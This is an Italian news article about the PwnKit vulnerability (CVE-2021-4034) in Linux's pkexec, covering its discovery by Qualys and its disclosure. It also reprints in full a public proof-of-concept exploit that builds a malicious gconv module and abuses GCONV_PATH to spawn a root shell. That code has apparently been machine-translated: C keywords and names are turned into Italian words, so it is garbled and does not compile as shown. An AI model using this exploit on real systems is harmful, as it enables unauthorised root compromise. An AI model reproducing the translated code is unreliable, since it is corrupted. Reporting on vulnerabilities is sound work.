
Redazione RHC : 10 Febbraio 2022 08:41
Una vulnerabilità nel componente pkexec di Polkit identificato come CVE-2021-4034 (PwnKit) è stata scoperta dal team di ricerca di Qualys, ed è presente nella configurazione predefinita di tutte le principali distribuzioni Linux e può essere sfruttata per ottenere privilegi di root completi sul sistema, avvertono oggi i ricercatori.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
Parte del framework dell’applicazione open source Polkit che negozia l’interazione tra processi privilegiati e non privilegiati, pkexec consente a un utente autorizzato di eseguire comandi come un altro utente.
Il corretto sfruttamento di questa vulnerabilità consente a qualsiasi utente senza privilegi di ottenere i privilegi di root sull’host vulnerabile. I ricercatori sulla sicurezza di Qualys sono stati in grado di verificare in modo indipendente la vulnerabilità, sviluppare un exploit e ottenere i privilegi di root completi sulle installazioni predefinite di Ubuntu, Debian, Fedora e CentOS.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
Altre distribuzioni Linux sono probabilmente vulnerabili e probabilmente sfruttabili. Questa vulnerabilità è stata nascosta per oltre 12 anni e interessa tutte le versioni di pkexec dalla sua prima versione nel maggio 2009 (commit c8c3d83).
Non appena il team di ricerca ha confermato la vulnerabilità, Qualys si è impegnata nella divulgazione responsabile e si è coordinata con i fornitori e le distribuzioni open source per annunciare la vulnerabilità. Guarda questo video di un potenziale percorso di exploit.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
https://player.vimeo.com/video/669715589?h=3bf67eea45&title=0&byline=0&portrait=0&playsinline=0&autopause=0&app_id=122963
A quanto pare, è già emerso un exploit, a meno di tre ore dalla pubblicazione dei dettagli tecnici di PwnKit da parte di Qualys.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
BleepingComputer ha compilato e testato l’exploit disponibile, che si è rivelato affidabile in quanto ci ha fornito i privilegi di root sul sistema in tutti i tentativi.
/* * blasty-vs-pkexec.c -- di blasty <[email protected]> *------------------------------------------------ * PoC per CVE-2021-4034, grida a Qualys * * exploit di qualità ctf * * bla bla divulgazione irresponsabile * * -- esplosivo // 25-01-2022 */ #include <stdio.h> #include <stdlib.h> #include <stringa.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> void fatal(char *f) { errore(f); uscita(-1); } void compile_so() { FILE *f = fopen("payload.c", "wb"); se (f == NULLA) { fatale("fopen"); } char so_code[]= "#include <stdio.h>\n" "#include <stdlib.h>\n" "#include <unistd.h>\n" "void gconv() {\n" " ritorno;\n" "}\n" "void gconv_init() {\n" " setuid(0); seteuid(0); setgid(0); setegid(0);\n" " carattere statico *a_argv[] = { \"sh\", NULL };\n" " carattere statico *a_envp[] = { \"PERCORSO=/bin:/usr/bin:/sbin\", NULL };\n" " execve(\"/bin/sh\", a_argv, a_envp);\n" " uscita(0);\n" "}\n"; fwrite(così_codice, strlen(così_codice), 1, f); fclose(f); system("gcc -o payload.so -shared -fPIC payload.c"); } int main(int argc, char *argv[]) { struct stat st; char *a_argv[]={ NULL }; carattere *a_envp[]={ "LOL", "PERCORSO=GCONV_PERCORSO=.", "LC_MESSAGES=it_US.UTF-8", "XAUTHORITY=../LOL", NULLO }; printf("[~] aiutante per la compilazione..\n"); compile_so(); if (stat("PERCORSO_GCONV=.", &st) < 0) { if(mkdir("GCONV_PATH=", 0777) < 0) { fatal("mkdir"); } int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); se (fd < 0) { fatale("aperto"); } chiudere(fd); } se (stat("lol", &st) < 0) { if(mkdir("lol", 0777) < 0) { fatal("mkdir"); } FILE *fp = fopen("lol/gconv-modules", "wb"); se(fp == NULLO) { fatale("fopen"); } fprintf(fp, "modulo UTF-8// INTERNO ../carico utile 2\n"); fclose(fp); } printf("[~] forse ottieni la shell ora?\n"); execve("/usr/bin/pkexec", a_argv, a_envp); }


test svolto da Bleeping computer su Ubuntu
Riferendosi all’exploit, l’analista di vulnerabilità CERT/CC Will Dormann ha affermato che è sia semplice che universale. Il ricercatore lo ha ulteriormente testato su un sistema ARM64, dimostrando che funziona anche su quell’architettura.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
Qualys ha segnalato il problema di sicurezza in modo responsabile il 18 novembre 2021 e ha atteso che una patch diventasse disponibile prima di pubblicare i dettagli tecnici di PwnKit .
Redazione
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